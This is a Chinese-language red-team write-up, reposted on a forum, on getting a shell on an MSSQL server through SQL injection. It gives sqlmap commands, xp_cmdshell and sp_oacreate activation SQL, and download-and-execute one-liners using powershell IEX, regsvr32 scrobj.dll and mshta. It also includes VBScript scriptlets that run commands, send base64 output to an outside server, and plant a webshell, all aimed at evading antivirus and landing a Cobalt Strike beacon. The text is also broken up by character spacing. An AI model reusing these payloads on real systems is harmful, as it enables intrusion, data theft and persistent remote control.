搜索

[6085] 2019-08-10_通过Regsvr32的ole绕过Getshell小技巧

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-17
2019-08-10_通过Regsvr32的ole绕过Getshell小技巧 通 过 R e g s v r 3 2 的 o l e 绕 过 G e t s h e l l 小 技 巧 R v n 0 x s y   E 安 全   2 0 1 9 - 0 8 - 1 0 1 . 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 2 .   突 破 口 突 破 口 一 开 始 是 一 个 外 网 的 S Q L 注 入 ， 通 过 s q l m a p 正 常 操 作 ， 得 知 是 D B A 权 限 ， 数 据 库 ： M S S Q L s q l m a p . p y   - u   " h t t p : / / x x x . c o m / x x x / x x x . a s p x ? y u m = x x & x x = x x "   - p   y h m   - - r a n d o m - a g e n t   - - c o o k i e = ' A S P . N E T _ S e s s i o n I d = x x x x ' 直 接 通 过 - - o s - s h e l l 来 执 行 命 令 ： [ 1 8 : 3 9 : 2 3 ]   [ I N F O ]   c h e c k i n g   i f   x p _ c m d s h e l l   e x t e n d e d   p r o c e d u r e   i s   a v a i l a b l e ,   p l e a s e   w a i t . . x p _ c m d s h e l l   e x t e n d e d   p r o c e d u r e   d o e s   n o t   s e e m   t o   b e   a v a i l a b l e .   D o   y o u   w a n t   s q l m a p   t o   t r y   t o   r e - e n a b l e   i t ?   [ Y / n ]   Y [ 1 8 : 3 9 : 2 5 ]   [ W A R N I N G ]   x p _ c m d s h e l l   r e - e n a b l i n g   f a i l e d 1 .   启 用 x p _ c m d s h e l l 手 动 启 动 语 句 ： E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ; R E C O N F I G U R E ; E X E C   s p _ c o n f i g u r e   ' x p _ c m d s h e l l ' ,   1 ; R E C O N F I G U R E ; 执 行 ： e x e c   m a s t e r . . x p _ c m d s h e l l   " w h o a m i " 2 .   启 用 O L E   A u t o m a t i o n
通 过 启 用 x p _ c m d s h e l l 失 败 ， s q l m a p 还 会 尝 试 s p _ O A C r e a t e ， s p _ O A C r e a t e 这 个 方 式 是 不 带 回 显 的 ， 通 常 利 用 语 句 如 下 ： E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   1 ;     R E C O N F I G U R E   W I T H   O V E R R I D E ;     E X E C   s p _ c o n f i g u r e   ' O l e   A u t o m a t i o n   P r o c e d u r e s ' ,   1 ; R E C O N F I G U R E   W I T H   O V E R R I D E ;     E X E C   s p _ c o n f i g u r e   ' s h o w   a d v a n c e d   o p t i o n s ' ,   0 ; 执 行 ： d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   w h o a m i   > C : w h o . t x t ' 通 过 调 用 s p _ o a c r e a t e 能 够 获 得 一 个 数 字 返 回 值 ， 若 全 是 0 ， 则 执 行 失 败 ， 必 须 有 1 。 3 .   判 断 网 络 环 境 判 断 网 络 环 境 能 执 行 命 令 后 ， 为 了 判 断 能 否 出 网 ， 先 尝 试 D N S   L o g 。
在 o s - s h e l l 中 ， 执 行 ： n s l o o k u p   x x x x x . n e t ， b u r p 看 回 显 即 可 。
D N S 能 出 ， 接 下 来 看 T C P 报 文 . . . 这 里 我 使 用 c e r t u t i l 、 b i t s a d m i n 命 令 来 测 试 ， 但 是 么 有 截 图 . . . $   p y t h o n 3   - m   h t t p . s e r v e r o s - s h e l l > c e r t u t i l   - u r l c a c h e   - s p l i t   - f   h t t p : / / x x x : 8 0 0 0 / 收 到 相 应 的 请 求 后 ， 基 本 上 稳 妥 了 ， 可 以 采 用 r e v e r s e _ t c p 的 方 案 ， 用 p o w e r s h e l l 反 弹 一 个 b e a c o n 到 c o b a l t   s t r i k e 上 。 4 .   R e g s v r 3 2 妙 用 妙 用 测 试 的 过 程 中 ， 并 不 顺 利 ， 后 来 我 发 现 它 有 反 病 毒 软 件 . . . 尝 试 了 以 下 方 法 ： p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   " I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / x x . x x . x x . x x / a 2 2 ' ) ) " r e g s v r 3 2   / s   / n   / u   / i : h t t p : / / x . x . 0 . x : 8 0 8 0 / z f g J r h 6 V . s c t   s c r o b j . d l l m s h t a   h t t p : / / x x x . x x . x x . x x / 1 . h t a 然 后 我 发 现 m s f   e x p l o i t / m u l t i / s c r i p t / w e b _ d e l i v e r y 生 成 的 地 址 ， 都 会 在 底 层 调 用 一 层 p o w e r s h e l l 目 前 ， 这 种 d o w n l o a d + i e x 方 式 肯 定 不 行 了 ， 然 后 我 就 改 了 几 个 脚 本 ， 通 过 H T T P   L o g 来 回 显 执 行 结 果 ： 获 取 进 程 列 表 ：
< ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t >       < r e g i s t r a t i o n   p r o g i d = " d 0 8 c 9 6 "   c l a s s i d = " { c e a 4 6 5 8 1 - c 3 4 4 - 4 1 5 7 - b 8 9 1 - 3 0 f 3 5 8 f 1 5 2 2 d } "   >               < s c r i p t   l a n g u a g e = " v b s c r i p t " > < ! [ C D A T A [ S u b   g e t N a m e ( n a m e )           D i m   h t t p       S e t   h t t p   =   C r e a t e O b j e c t ( " M s x m l 2 . S e r v e r X M L H T T P " )       h t t p . o p e n   " G E T " , " h t t p : / / x x x . x x x . x x x . x x x : 8 0 8 6 / " + n a m e ,   F a l s e       h t t p . s e n d E n d   S u b S u b   C m d ( c o m m a n d ) S e t   o S h e l l   =   C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) S e t   R e   =   o S h e l l . E x e c ( c o m m a n d ) D o   W h i l e   N o t   R e . S t d O u t . A t E n d O f S t r e a m       g e t N a m e   R e . S t d O u t . R e a d L i n e ( ) L o o p E n d   S u b C m d   " p o w e r s h e l l   - w   h i d d e n   - c   $ s = G e t - P r o c e s s ; $ p r o c e s s   = ' ' ; f o r e a c h   ( $ n   i n   $ s ) { $ p r o c e s s   + =   $ n . N a m e + ' | ' } $ B y t e s   = [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ p r o c e s s ) ; $ E n c o d e d T e x t   = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ B y t e s ) ; W r i t e - H o s t   $ E n c o d e d T e x t ; e x i t ; " ] ] >               < / s c r i p t >       < / r e g i s t r a t i o n > < / s c r i p t l e t > 执 行 ： w m i c   p r o c e s s   c a l l   c r e a t e   " r e g s v r 3 2   / s   / n   / u   / i : h t t p : / / x x x . x x x . x x x . x x x : 8 0 8 6 / p . t x t   s c r o b j . d l l " 获 得 回 显 。
获 得 进 程 列 表 后 ， 看 到 有 E S T   N o d 3 2 、 3 6 0 等 防 护 软 件 ， 看 来 需 要 做 的 工 作 有 很 多 。 列 目 录 ：
< ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t >       < r e g i s t r a t i o n   p r o g i d = " d 0 8 c 9 6 "   c l a s s i d = " { c e a 4 6 5 8 1 - c 3 4 4 - 4 1 5 7 - b 8 9 1 - 3 0 f 3 5 8 f 1 5 2 2 d } "   >               < s c r i p t   l a n g u a g e = " v b s c r i p t " > < ! [ C D A T A [ S u b   g e t N a m e ( n a m e )           D i m   h t t p       S e t   h t t p   =   C r e a t e O b j e c t ( " M s x m l 2 . S e r v e r X M L H T T P " )       h t t p . o p e n   " G E T " , " h t t p : / / x x x . x x x . x x x . x x x : 8 0 8 6 / " + n a m e ,   F a l s e       h t t p . s e n d E n d   S u b S u b   C m d ( c o m m a n d ) S e t   o S h e l l   =   C r e a t e O b j e c t ( " W S c r i p t . S h e l l " ) S e t   R e   =   o S h e l l . E x e c ( c o m m a n d ) D o   W h i l e   N o t   R e . S t d O u t . A t E n d O f S t r e a m       g e t N a m e   R e . S t d O u t . R e a d L i n e ( ) L o o p E n d   S u b C m d   " p o w e r s h e l l   - w   h i d d e n   - c   $ s = G e t - C h i l d I t e m   D : w e b 4 _ n e w ; $ p r o c e s s   = ' ' ; f o r e a c h   ( $ n   i n   $ s ) { $ p r o c e s s   + =   $ n . N a m e + ' | ' } $ B y t e s   = [ S y s t e m . T e x t . E n c o d i n g ] : : U n i c o d e . G e t B y t e s ( $ p r o c e s s ) ; $ E n c o d e d T e x t   = [ C o n v e r t ] : : T o B a s e 6 4 S t r i n g ( $ B y t e s ) ; W r i t e - H o s t   $ E n c o d e d T e x t ; e x i t ; " ] ] >               < / s c r i p t >       < / r e g i s t r a t i o n > < / s c r i p t l e t > 下 载 W e b s h e l l ：
< ? X M L   v e r s i o n = " 1 . 0 " ? > < s c r i p t l e t >       < r e g i s t r a t i o n   p r o g i d = " d 0 8 c 9 6 "   c l a s s i d = " { c e a 4 6 5 8 1 - c 3 4 4 - 4 1 5 7 - b 8 9 1 - 3 0 f 3 5 8 f 1 5 2 2 d } "   >               < s c r i p t   l a n g u a g e = " v b s c r i p t " >               < ! [ C D A T A [ S e t   S h e l l   =   C r e a t e O b j e c t ( " W s c r i p t . S h e l l " ) S e t   P o s t   =   C r e a t e O b j e c t ( " M s x m l 2 . X M L H T T P " ) w f o l d e r   =   " C : i n e t p u b w w w r o o t x x x 1 1 1 e n g l i s h . a s p x " P o s t . O p e n   " G E T " , " h t t p : / / x x x . x x x x . x x x . x x x : 8 5 / b a k / e n g l i s h . t x t " , 0 P o s t . S e n d ( ) S e t   a G e t   =   C r e a t e O b j e c t ( " A D O D B . S t r e a m " ) a G e t . M o d e   =   3 a G e t . T y p e   =   1 a G e t . O p e n ( ) a G e t . W r i t e ( P o s t . r e s p o n s e B o d y ) a G e t . S a v e T o F i l e   w f o l d e r , 2               ] ] >               < / s c r i p t >       < / r e g i s t r a t i o n > < / s c r i p t l e t > 通 过 指 定 不 同 的 t x t ， 执 行 不 同 的 代 码 。 当 然 ， 毫 无 疑 问 的 最 终 获 得 了 b e a c o n ：
免 杀 环 节 就 不 记 录 了 。 5 .   总 结 总 结 外 网 多 个 S Q L 注 入 - S Q L   S e r v e r   D B A ， 无 回 显 ， 3 6 0 + E S E T   N O D 3 2   A n t i v i r u s ， r e g s v r 3 2 通 过 一 个 o l e 对 象 执 行 V B s c r i p t ， 使 用 - - o s - s h e l l ， 底 层 执 行 的 父 进 程 是 一 个 m s s q l   s e r v i c e ， 所 以 a v 可 能 不 那 么 关 注 ， 但 是 通 过 - - o s - s h e l l 直 接 创 建 p o w e r s h e l l ， 就 会 被 拦 截 ； 通 过 加 载 我 服 务 器 上 的 s c t 文 件 ， 执 行 自 定 义 的 v b s 之 外 ， 我 发 现 它 不 会 阻 止 v b s 派 生 p o w e r s h e l l ； 但 是 通 过 v b s 直 接 派 生 p o w e r s h e l l 下 载 代 码 执 行 、 或 直 接 反 弹 ， 都 被 干 掉 。 由 于 没 有 回 显 ， 无 法 确 定 我 免 杀 的 木 马 落 地 目 录 ， 只 能 用 p o w e r s h e l l 获 取 目 录 、 当 前 用 户 情 况 ， 返 回 b a s e 6 4 ， 交 给 v b s ， 请 求 h t t p   l o g 。 得 到 服 务 器 环 境 ， 最 终 确 定 落 地 目 录 后 ， 基 本 上 就 可 以 g e t s h e l l 、 上 线 等 操 作 。
由 于 反 病 毒 软 件 会 监 控 x p _ c m d s h e l l ， 一 执 行 就 会 返 回 C r e a t e P r o c e s s   E r r o r   C o d e   5 等 问 题 ， s p _ o a c r e a t e 是 能 够 解 决 ， 但 是 没 有 回 显 ， 可 通 过 发 送 网 络 请 求 来 看 。 s p _ o a c r e a t e 是 基 于 o l e 对 象 的 ， o l e 对 象 执 行 拦 截 的 较 少 、 包 括 r e g s v r 3 2 也 是 调 用 的 o l e 对 象 去 执 行 v b s 代 码 ， 这 其 中 有 一 种 白 名 单 派 生 关 系 。 语 法 s p _ O A C r e a t e   p r o g i d ,   |   c l s i d , o b j e c t t o k e n   O U T P U T [   ,   c o n t e x t   ] d e c l a r e   @ s h e l l   i n t   e x e c   s p _ o a c r e a t e   ' w s c r i p t . s h e l l ' , @ s h e l l   o u t p u t   e x e c   s p _ o a m e t h o d   @ s h e l l , ' r u n ' , n u l l , ' c : w i n d o w s s y s t e m 3 2 c m d . e x e   / c   w h o a m i   > C : w h o . t x t ' 其 中 ' w s c r i p t . s h e l l ' 就 是 一 个 对 象 ， 这 个 对 象 可 以 是 其 他 o l e 对 象 ， 具 体 还 需 要 继 续 发 掘 。 6 . 招 聘 启 事 招 聘 启 事 安 全 招 聘 — — — — — — — — 公 司 ： 安 恒 信 息 岗 位 ： 红 蓝 对 抗   安 全 研 究 员 部 门 ： 战 略 支 援 部 薪 资 ： 1 3 - 3 5 K 工 作 年 限 ： 2 年 + 工 作 地 点 ： 杭 州 （ 总 部 ） ， 广 州 ， 成 都 工 作 环 境 ： 一 座 大 厦 ， 健 身 场 所 ， 医 师 ， 帅 哥 ， 美 女 ， 高 级 食 堂 …   岗 位 职 责 ：
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理